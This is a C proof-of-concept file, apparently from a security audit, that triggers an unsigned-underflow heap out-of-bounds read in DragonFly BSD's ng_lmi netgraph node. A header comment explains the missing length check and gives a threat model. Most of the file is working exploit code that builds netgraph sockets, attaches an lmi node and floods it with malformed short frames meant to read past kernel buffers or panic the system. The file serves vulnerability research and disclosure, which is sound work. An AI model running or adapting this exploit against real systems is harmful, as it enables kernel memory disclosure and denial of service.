DF-0554 / df0554.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 | /* * DF-0554 / DF-0562 -- ng_lmi STEPBY unsigned-underflow heap OOB read * * sys/netgraph/lmi/ng_lmi.c (shipped) and the twin sys/netgraph7/lmi/ng_lmi.c: * - LMI_MIN_LENGTH=8 is defined (:88) but NEVER enforced. * - nglmi_checkdata derefs fixed header bytes unconditionally and runs * `STEPBY(1)` (:766/:792/:800/:815) which is * packetlen -= stepsize; data += stepsize; * with NO underflow guard. * - packetlen is `u_short` (:750), so subtracting past 0 wraps to 0xFFFF. * - The IE loop `while (packetlen >= 2)` (:850) then iterates ~65535 * times, reading data[0..] far past the mbuf into adjacent kernel heap. * * Threat model: this code path runs whenever an ng_lmi node receives a frame * on a non-debug hook (annexA/annexD/group4/auto*). In production that * hook is fed by ng_frame_relay/ng_cisco/ng_rfc1490, which in turn receive * from a serial line -- so the realistic attacker is a remote FR peer that * sends a malformed LMI frame. Locally, anyone with write access to a * hook that feeds the lmi node can also trigger it (e.g. an admin-exported * ng_socket data hook). For the audit we run as root to stand in for the * remote attacker (PF_NETGRAPH control sockets are root-only in DragonFly; * the bug class is heap OOB-read/DoS, not local priv-esc). * * Build: cc -o df0554 df0554.c * Run: ./df0554 */ #include <sys/types.h> #include <sys/socket.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <errno.h> #include <netgraph/ng_message.h> #include <netgraph/socket/ng_socket.h> #include <netgraph/lmi/ng_lmi.h> #define NG_CONTROL 2 #define NG_DATA 1 struct ng_mesg_buf { struct ng_mesg hdr; char data[256]; }; static int ng_send_cmd(int cs, const char *path, u_int32_t cookie, u_int32_t cmd, const void *arg, size_t arglen) { struct ng_mesg_buf m; struct sockaddr_ng dst; size_t total = sizeof(m.hdr) + arglen; if (arglen > sizeof(m.data)) return -1; memset(&m, 0, sizeof(m)); m.hdr.header.version = NG_VERSION; m.hdr.header.typecookie = cookie; m.hdr.header.cmd = cmd; m.hdr.header.arglen = arglen; snprintf(m.hdr.header.cmdstr, sizeof(m.hdr.header.cmdstr), "cmd%u", cmd); if (arglen) memcpy(m.hdr.data, arg, arglen); memset(&dst, 0, sizeof(dst)); dst.sg_family = AF_NETGRAPH; dst.sg_len = sizeof(dst); strncpy(dst.sg_data, path, sizeof(dst.sg_data)-1); return sendto(cs, &m, total, 0, (struct sockaddr *)&dst, dst.sg_len); } static int ng_mkpeer(int cs, const char *path, const char *type, const char *ourhook, const char *peerhook) { struct ngm_mkpeer mk; memset(&mk, 0, sizeof(mk)); strncpy(mk.type, type, sizeof(mk.type)-1); strncpy(mk.ourhook, ourhook, sizeof(mk.ourhook)-1); strncpy(mk.peerhook, peerhook, sizeof(mk.peerhook)-1); return ng_send_cmd(cs, path, NGM_GENERIC_COOKIE, NGM_MKPEER, &mk, sizeof(mk)); } int main(void) { int cs, ds, rc; struct sockaddr_ng addr; unsigned char buf[8]; int i, count; cs = socket(PF_NETGRAPH, SOCK_DGRAM, NG_CONTROL); if (cs < 0) { perror("socket(control)"); return 2; } /* bind control socket to a name so data socket can find it */ memset(&addr, 0, sizeof(addr)); addr.sg_family = AF_NETGRAPH; addr.sg_len = 2 + strlen("df0554ctl") + 1; strcpy(addr.sg_data, "df0554ctl"); if (bind(cs, (struct sockaddr *)&addr, addr.sg_len) < 0) { perror("bind(control)"); return 2; } printf("[+] bound control socket to name 'df0554ctl'\n"); /* data socket, connected to the control socket's node */ ds = socket(PF_NETGRAPH, SOCK_DGRAM, NG_DATA); if (ds < 0) { perror("socket(data)"); return 2; } memset(&addr, 0, sizeof(addr)); addr.sg_family = AF_NETGRAPH; addr.sg_len = 2 + strlen("df0554ctl") + 1; strcpy(addr.sg_data, "df0554ctl"); if (connect(ds, (struct sockaddr *)&addr, addr.sg_len) < 0) { perror("connect(data)"); return 2; } printf("[+] data socket connected to 'df0554ctl'\n"); /* mkpeer an lmi node off our control node: * our hook = "annexA" (on our socket node) * peer hook = "annexA" (on new lmi node) * connecting annexA triggers nglmi_startup_fixed -> SCF_CONNECTED */ if (ng_mkpeer(cs, ".", "lmi", "annexA", "annexA") < 0) { fprintf(stderr, "mkpeer(lmi annexA) failed: %s\n", strerror(errno)); return 2; } printf("[+] created lmi peer; control node hook 'annexA' -> lmi:annexA\n"); count = 64; printf("[*] sending %d x 1-byte frames {0x03} -- underflow trigger\n", count); buf[0] = 0x03; for (i = 0; i < count; i++) { ssize_t w = write(ds, buf, 1); if (w < 0) { fprintf(stderr, "write 1B #%d: %s\n", i, strerror(errno)); break; } } printf("[*] sending %d x 2-byte frames {0x03,0x08}\n", count); buf[0] = 0x03; buf[1] = 0x08; for (i = 0; i < count; i++) write(ds, buf, 2); printf("[*] sending %d x 4-byte valid-header frames {0x03,0x08,0x00,0x7D}\n", count); buf[0] = 0x03; buf[1] = 0x08; buf[2] = 0x00; buf[3] = 0x7D; for (i = 0; i < count; i++) write(ds, buf, 4); printf("[*] sending %d x 0-byte frames (extreme underflow)\n", count); for (i = 0; i < count; i++) write(ds, buf, 0); /* also try a frame with first byte 0x03 + 5 bytes carefully crafted * to satisfy the LMI header checks, then a short/no IE body -- this * forces packetlen to wrap during IE processing */ printf("[*] sending %d x 5-byte frames {0x03,0x08,0x00,0x7D,0x09} " "(valid header + 1 IE-byte underflow)\n", count); buf[0] = 0x03; buf[1] = 0x08; buf[2] = 0x00; buf[3] = 0x7D; buf[4] = 0x09; for (i = 0; i < count; i++) write(ds, buf, 5); printf("[*] done -- check dmesg for nglmi OOB read evidence / panic\n"); close(cs); close(ds); return 0; } |